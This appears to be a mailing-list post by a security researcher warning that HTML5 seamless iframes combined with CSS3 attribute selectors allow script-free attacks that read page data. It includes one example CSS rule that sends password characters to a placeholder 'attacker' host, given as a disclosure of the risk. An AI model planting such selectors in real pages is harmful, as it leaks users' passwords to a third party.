Seamless iframes + CSS3 selectors = bad idea

I sincerely understand why people want seamless iframes on HTML5.. I mean,
I've been there.. but sometimes the better way to do something is not to do
it.

The perfect example are seamless iframes (defined in html5) and CSS3
selectors.

I've showed (together with David Lindsay, and Gareth Heyes) expressed
several times that we think this is a bad idea.

We always receive the same answer "seamless iframes are same-origin!" and
believe me, I know.. but guess what? javascript is also same origin.. and it
also creates problems.

What I see with those awesome CSS3 selectors such as:

input[type=password][value^=a]{background:url("//attacker/password_starts_with=a")}

create a new type of XSS attacks, and those are purely CSS based XSS
attacks.. without JS.. that will allow an attacker to read arbitrary files
from the page WITHOUT the need of JS.

I really hope people in here know that a cool feature is sometimes not such
a good idea, and hopefully, we can see how to resolve this issue..

References: The Sexy Assassin - BlueHat 2008 Presentation<http://p42.us/css/>
http://p42.us/css/
Favorite XSS - BlackHat 2009 Presentation <http://p42.us/favxss/>
http://p42.us/favxss/
Stefano Di Paola PoC http://www.wisec.it/CssSteal/frame.html

Greetings!!
-- Eduardo
http://www.sirdarckcat.net/